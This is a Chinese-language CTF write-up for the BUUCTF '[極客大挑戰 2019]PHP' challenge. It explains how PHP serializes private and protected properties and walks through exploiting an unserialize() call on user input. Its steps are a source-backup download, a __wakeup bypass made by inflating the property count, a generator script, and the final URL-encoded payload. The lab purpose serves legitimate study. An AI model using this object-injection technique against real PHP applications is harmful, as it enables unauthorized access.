BUUCTF PHP反序列化
阿新 • • 發佈:2020-11-19
[極客大挑戰 2019]PHP
知識點
1、public、protected與private在序列化時的區別:
protected屬性被序列化的時候屬性值會變成%00*%00屬性名
private屬性被序列化的時候屬性值會變成%00類名%00屬性名
測試:
<?php class people{ public $name = 'Hh0'; protected $age = 21; private $flag = 'flag{}'; } $a = new people(); echo serialize($a); echo "\n"; echo urlencode(serialize($a));
%00
是空白符,可見,$name
被序列化後變成%00*%00age
,$flag
被反序列化後變成%00people%00flag
解題
1、頁面提示“備份”,最後訪問/www.zip下載到原始碼
index.php關鍵部分:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php:
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
在執行的__destruct()的時候,如果password等於100,且$username
等於admin,就能輸出flag。
由於進行反序列化時,會優先呼叫__wakeup(),使得$username
的值為guest。
我們知道當序列化字串表示物件屬性個數的值大於真實個數的屬性時就會跳過__wakeup(),所以利用序列化字串中物件的個數進行繞過__wakeup()。
直接複製題目的,序列化一下:
<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a = new Name('admin',100); echo serialize($a)."\n"; echo urlencode(serialize($a));
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D